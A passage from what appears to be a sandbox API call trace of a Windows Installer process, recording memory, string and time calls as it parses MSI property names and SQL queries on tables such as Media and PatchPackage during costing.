wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.514] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1a0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.514] lstrlenW (lpString="NoRbLocalCost") returned 13 [0124.515] GetLocalTime (in: lpSystemTime=0x10ce1f0 | out: lpSystemTime=0x10ce1f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.515] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1f0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.515] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.515] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x34, uFlags=0x2) returned 0xf400a8 [0124.515] GlobalLock (hMem=0xf400a8) returned 0x37c910 [0124.515] GetLocalTime (in: lpSystemTime=0x10ce1a0 | out: lpSystemTime=0x10ce1a0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.515] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1a0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.515] lstrlenW (lpString="SourceCost") returned 10 [0124.515] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.515] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x38, uFlags=0x2) returned 0xf400a8 [0124.515] GlobalLock (hMem=0xf400a8) returned 0x37c910 [0124.515] lstrlenW (lpString="RemoveCost") returned 10 [0124.515] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.515] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x3c, uFlags=0x2) returned 0xf400a8 [0124.515] GlobalLock (hMem=0xf400a8) returned 0x37c910 [0124.515] lstrlenW (lpString="NoRbRemoveCost") returned 14 [0124.516] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.516] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x40, uFlags=0x2) returned 0xf400a8 [0124.516] GlobalLock (hMem=0xf400a8) returned 0x37c910 [0124.516] lstrlenW (lpString="NoRbSourceCost") returned 14 [0124.516] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.516] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x44, uFlags=0x2) returned 0xf400a8 [0124.516] GlobalLock (hMem=0xf400a8) returned 0x210d0f0 [0124.516] lstrlenW (lpString="ARPLocalCost") returned 12 [0124.516] GetLocalTime (in: lpSystemTime=0x10ce1f0 | out: lpSystemTime=0x10ce1f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.516] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1f0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.516] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.516] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x48, uFlags=0x2) returned 0xf400a8 [0124.516] GlobalLock (hMem=0xf400a8) returned 0x210d0f0 [0124.516] GetLocalTime (in: lpSystemTime=0x10ce1a0 | out: lpSystemTime=0x10ce1a0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.516] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1a0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.516] lstrlenW (lpString="NoRbARPLocalCost") returned 16 [0124.516] GetLocalTime (in: lpSystemTime=0x10ce1f0 | out: lpSystemTime=0x10ce1f0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.516] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1f0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.517] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.517] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x4c, uFlags=0x2) returned 0xf400a8 [0124.517] GlobalLock (hMem=0xf400a8) returned 0x210d0f0 [0124.517] GetLocalTime (in: lpSystemTime=0x10ce1a0 | out: lpSystemTime=0x10ce1a0*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x11)) [0124.517] GetDateFormatW (in: Locale=0x400, dwFlags=0x1, lpDate=0x10ce1a0, lpFormat=0x0, lpDateStr=0x7fef7b23298, cchDate=32 | out: lpDateStr="8/5/2022") returned 9 [0124.517] lstrlenW (lpString="RuntimeFlags") returned 12 [0124.517] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.517] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x50, uFlags=0x2) returned 0xf400a8 [0124.517] GlobalLock (hMem=0xf400a8) returned 0x210d0f0 [0124.517] lstrlenW (lpString="ForceLocalFiles") returned 15 [0124.517] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.517] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x54, uFlags=0x2) returned 0xf400a8 [0124.517] GlobalLock (hMem=0xf400a8) returned 0x3c0180 [0124.517] lstrlenW (lpString="LegacyFileExisted") returned 17 [0124.517] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.517] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x58, uFlags=0x2) returned 0xf400a8 [0124.518] GlobalLock (hMem=0xf400a8) returned 0x3c0180 [0124.518] lstrlenW (lpString="TrueInstallSt") returned 13 [0124.518] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.518] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x5c, uFlags=0x2) returned 0xf400a8 [0124.518] GlobalLock (hMem=0xf400a8) returned 0x3c0180 [0124.518] lstrlenW (lpString="ForceComponentCache") returned 19 [0124.518] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.518] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x60, uFlags=0x2) returned 0xf400a8 [0124.518] GlobalLock (hMem=0xf400a8) returned 0x3c0180 [0124.518] lstrlenW (lpString="RecheckAssemblyComponent") returned 24 [0124.518] GlobalUnlock (hMem=0xf400a8) returned 0 [0124.518] GlobalReAlloc (hMem=0xf400a8, dwBytes=0x64, uFlags=0x2) returned 0xf400a8 [0124.518] GlobalLock (hMem=0xf400a8) returned 0x3b7350 [0124.519] lstrlenW (lpString="File") returned 4 [0124.519] lstrlenW (lpString="State") returned 5 [0124.519] lstrlenW (lpString="TempAttributes") returned 14 [0124.519] lstrlenW (lpString="File") returned 4 [0124.520] lstrlenW (lpString="Patch") returned 5 [0124.520] lstrlenW (lpString="PatchPackage") returned 12 [0124.520] lstrlenW (lpString="__MsiPatchMedia") returned 15 [0124.520] GlobalLock (hMem=0xf40128) returned 0x3625a0 [0124.520] lstrlenW (lpString="#_PatchCache") returned 12 [0124.521] lstrlenW (lpString="MsiPatchHeaders") returned 15 [0124.521] lstrlenW (lpString="File") returned 4 [0124.521] lstrlenW (lpString="Component") returned 9 [0124.522] lstrlenW (lpString="__MsiPatchFileList") returned 18 [0124.522] lstrlenW (lpString="#_MsiRedirectedFile") returned 19 [0124.522] lstrlenW (lpString="Sequence") returned 8 [0124.522] GlobalLock (hMem=0xf40138) returned 0x36d9c0 [0124.523] GlobalLock (hMem=0xf40148) returned 0x3ca000 [0124.523] lstrlenW (lpString="SELECT * FROM #_MsiRedirectedFile WHERE `Sequence` IS NOT NULL ORDER BY `Sequence`") returned 82 [0124.523] lstrlenW (lpString="SELECT * FROM #_MsiRedirectedFile WHERE `Sequence` IS NOT NULL ORDER BY `Sequence`") returned 82 [0124.523] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.523] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.523] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.523] lstrcmpiW (lpString1="SELECT", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="FROM", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="AS", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="WHERE", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="NULL", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="OR", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="AND", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="NOT", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="ORDER", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="BY", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="DISTINCT", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="UPDATE", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="DELETE", lpString2="#_MsiRedirectedFile") returned 1 [0124.523] lstrcmpiW (lpString1="INSERT", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="INTO", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="SET", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="VALUES", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="IS", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="CREATE", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="DROP", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="ALTER", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="TABLE", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="ADD", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="PRIMARY", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="KEY", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="CHAR", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="CHARACTER", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="VARCHAR", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="LONGCHAR", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="INT", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="INTEGER", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="SHORT", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="LONG", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="OBJECT", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="TEMPORARY", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="HOLD", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="FREE", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="#_MsiRedirectedFile") returned 1 [0124.524] lstrcmpiW (lpString1="", lpString2="#_MsiRedirectedFile") returned -1 [0124.525] lstrlenW (lpString="#_MsiRedirectedFile") returned 19 [0124.525] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.525] lstrcmpiW (lpString1="SELECT", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="FROM", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="AS", lpString2="WHERE") returned -1 [0124.525] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.525] lstrcmpiW (lpString1="WHERE", lpString2="WHERE") returned 0 [0124.525] lstrcmpiW (lpString1="SELECT", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="FROM", lpString2="IS") returned -1 [0124.525] lstrcmpiW (lpString1="AS", lpString2="IS") returned -1 [0124.525] lstrcmpiW (lpString1="WHERE", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="NULL", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="OR", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="AND", lpString2="IS") returned -1 [0124.525] lstrcmpiW (lpString1="NOT", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="ORDER", lpString2="IS") returned 1 [0124.525] lstrcmpiW (lpString1="BY", lpString2="IS") returned -1 [0124.526] lstrcmpiW (lpString1="DISTINCT", lpString2="IS") returned -1 [0124.526] lstrcmpiW (lpString1="UPDATE", lpString2="IS") returned 1 [0124.526] lstrcmpiW (lpString1="DELETE", lpString2="IS") returned -1 [0124.526] lstrcmpiW (lpString1="INSERT", lpString2="IS") returned -1 [0124.526] lstrcmpiW (lpString1="INTO", lpString2="IS") returned -1 [0124.526] lstrcmpiW (lpString1="SET", lpString2="IS") returned 1 [0124.526] lstrcmpiW (lpString1="VALUES", lpString2="IS") returned 1 [0124.526] lstrcmpiW (lpString1="IS", lpString2="IS") returned 0 [0124.526] lstrcmpiW (lpString1="SELECT", lpString2="NOT") returned 1 [0124.526] lstrcmpiW (lpString1="FROM", lpString2="NOT") returned -1 [0124.526] lstrcmpiW (lpString1="AS", lpString2="NOT") returned -1 [0124.526] lstrcmpiW (lpString1="WHERE", lpString2="NOT") returned 1 [0124.526] lstrcmpiW (lpString1="NULL", lpString2="NOT") returned 1 [0124.528] lstrcmpiW (lpString1="OR", lpString2="NOT") returned 1 [0124.528] lstrcmpiW (lpString1="AND", lpString2="NOT") returned -1 [0124.528] lstrcmpiW (lpString1="NOT", lpString2="NOT") returned 0 [0124.528] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0124.528] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0124.528] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0124.528] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0124.528] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0124.528] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.528] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.528] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.528] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.528] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.528] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.528] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.529] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.529] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.529] lstrlenW (lpString="Sequence") returned 8 [0124.529] lstrcmpiW (lpString1="SELECT", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="FROM", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="AS", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="WHERE", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="NULL", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="OR", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="AND", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="NOT", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="ORDER", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="BY", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="DISTINCT", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="UPDATE", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="DELETE", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="INSERT", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="INTO", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="SET", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="VALUES", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="IS", lpString2="IS") returned 0 [0124.529] lstrcmpiW (lpString1="SELECT", lpString2="IS") returned 1 [0124.529] lstrcmpiW (lpString1="FROM", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="AS", lpString2="IS") returned -1 [0124.529] lstrcmpiW (lpString1="WHERE", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="NULL", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="OR", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="AND", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="NOT", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="ORDER", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="BY", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="DISTINCT", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="UPDATE", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="DELETE", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="INSERT", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="INTO", lpString2="IS") returned -1 [0124.530] lstrcmpiW (lpString1="SET", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="VALUES", lpString2="IS") returned 1 [0124.530] lstrcmpiW (lpString1="IS", lpString2="IS") returned 0 [0124.530] lstrlenW (lpString="IS") returned 2 [0124.530] lstrcmpiW (lpString1="SELECT", lpString2="NOT") returned 1 [0124.530] lstrcmpiW (lpString1="FROM", lpString2="NOT") returned -1 [0124.530] lstrcmpiW (lpString1="AS", lpString2="NOT") returned -1 [0124.530] lstrcmpiW (lpString1="WHERE", lpString2="NOT") returned 1 [0124.530] lstrcmpiW (lpString1="NULL", lpString2="NOT") returned 1 [0124.530] lstrcmpiW (lpString1="OR", lpString2="NOT") returned 1 [0124.530] lstrcmpiW (lpString1="AND", lpString2="NOT") returned -1 [0124.530] lstrcmpiW (lpString1="NOT", lpString2="NOT") returned 0 [0124.530] lstrlenW (lpString="NOT") returned 3 [0124.530] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0124.530] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0124.531] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0124.531] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0124.531] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0124.531] lstrlenW (lpString="NULL") returned 4 [0124.531] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.531] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.531] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.531] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.531] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.531] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.531] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.531] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.531] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0124.532] lstrlenW (lpString="Sequence") returned 8 [0124.532] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.532] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.532] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.532] lstrlenW (lpString="*") returned 1 [0124.532] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.532] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.532] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.532] GlobalLock (hMem=0xf40158) returned 0x3cef10 [0124.532] lstrlenW (lpString="SELECT `DiskId`, `LastSequence` FROM `Media` ORDER BY `DiskId` ") returned 63 [0124.532] lstrlenW (lpString="SELECT `DiskId`, `LastSequence` FROM `Media` ORDER BY `DiskId` ") returned 63 [0124.532] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.532] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.532] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.532] lstrlenW (lpString="Media") returned 5 [0124.532] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䈖䌧䠤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10cdf40, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0124.533] CExposedStream::Stat () returned 0x0 [0124.533] GlobalLock (hMem=0xf40168) returned 0x3c2880 [0124.533] CExposedStream::Read () returned 0x0 [0124.533] memcpy (in: _Dst=0x10ce018, _Src=0x3b5008c, _Size=0x2 | out: _Dst=0x10ce018) returned 0x10ce018 [0124.533] memcpy (in: _Dst=0x10ce018, _Src=0x3b5008e, _Size=0x4 | out: _Dst=0x10ce018) returned 0x10ce018 [0124.533] memcpy (in: _Dst=0x3c288c, _Src=0x3b50092, _Size=0x2 | out: _Dst=0x3c288c) returned 0x3c288c [0124.533] memcpy (in: _Dst=0x3c2890, _Src=0x3b50094, _Size=0x2 | out: _Dst=0x3c2890) returned 0x3c2890 [0124.533] memcpy (in: _Dst=0x3c2894, _Src=0x3b50096, _Size=0x2 | out: _Dst=0x3c2894) returned 0x3c2894 [0124.533] memcpy (in: _Dst=0x3c2898, _Src=0x3b50098, _Size=0x2 | out: _Dst=0x3c2898) returned 0x3c2898 [0124.533] CExposedStream::Release () returned 0x0 [0124.533] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.533] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.533] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.533] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.534] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.534] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.534] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.534] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.534] lstrcmpiW (lpString1="SELECT", lpString2="ORDER") returned 1 [0124.534] lstrcmpiW (lpString1="FROM", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="AS", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="WHERE", lpString2="ORDER") returned 1 [0124.534] lstrcmpiW (lpString1="NULL", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="OR", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="AND", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="NOT", lpString2="ORDER") returned -1 [0124.534] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.534] lstrcmpiW (lpString1="ORDER", lpString2="ORDER") returned 0 [0124.534] lstrcmpiW (lpString1="BY", lpString2="BY") returned 0 [0124.534] lstrlenW (lpString="DiskId") returned 6 [0124.534] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.534] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.534] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.535] lstrlenW (lpString="DiskId") returned 6 [0124.535] lstrlenW (lpString="LastSequence") returned 12 [0124.535] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.535] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.535] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.535] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.535] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.535] GlobalLock (hMem=0xf40178) returned 0x2100b00 [0124.535] lstrlenW (lpString="SELECT `DiskId`, `PatchId`, `LastSequence` FROM `Media`, `PatchPackage` WHERE `Media`.`DiskId`=`PatchPackage`.`Media_` ORDER BY `DiskId` ") returned 137 [0124.535] lstrlenW (lpString="SELECT `DiskId`, `PatchId`, `LastSequence` FROM `Media`, `PatchPackage` WHERE `Media`.`DiskId`=`PatchPackage`.`Media_` ORDER BY `DiskId` ") returned 137 [0124.535] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0124.535] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0124.535] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0124.535] lstrlenW (lpString="Media") returned 5 [0124.535] lstrlenW (lpString="PatchPackage") returned 12 [0124.535] lstrlenW (lpString="SELECT `DiskId`, `PatchId`, `LastSequence` FROM `Media`, `PatchPackage` WHERE `Media`.`DiskId`=`PatchPackage`.`Media_` ORDER BY `DiskId` ") returned 137 [0124.535] lstrlenW (lpString="PatchPackage") returned 12 [0124.535] GlobalUnlock (hMem=0xf40178) returned 0 [0124.536] GlobalUnlock (hMem=0xf40158) returned 0 [0124.536] GlobalUnlock (hMem=0xf40168) returned 0 [0124.536] lstrlenW (lpString="ALLUSERS") returned 8 [0124.536] SetLastError (dwErrCode=0x0) [0124.536] lstrlenW (lpString="Patch") returned 5 [0124.536] GetTickCount () returned 0x1877cd4 [0124.537] lstrlenW (lpString="CostInitialize") returned 14 [0124.537] SetLastError (dwErrCode=0xd) [0124.537] SetLastError (dwErrCode=0xd) [0124.537] lstrlenW (lpString="Time") returned 4 [0124.537] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x21)) [0124.537] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:46") returned 9 [0124.537] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x2e, wMilliseconds=0x21)) [0124.537] 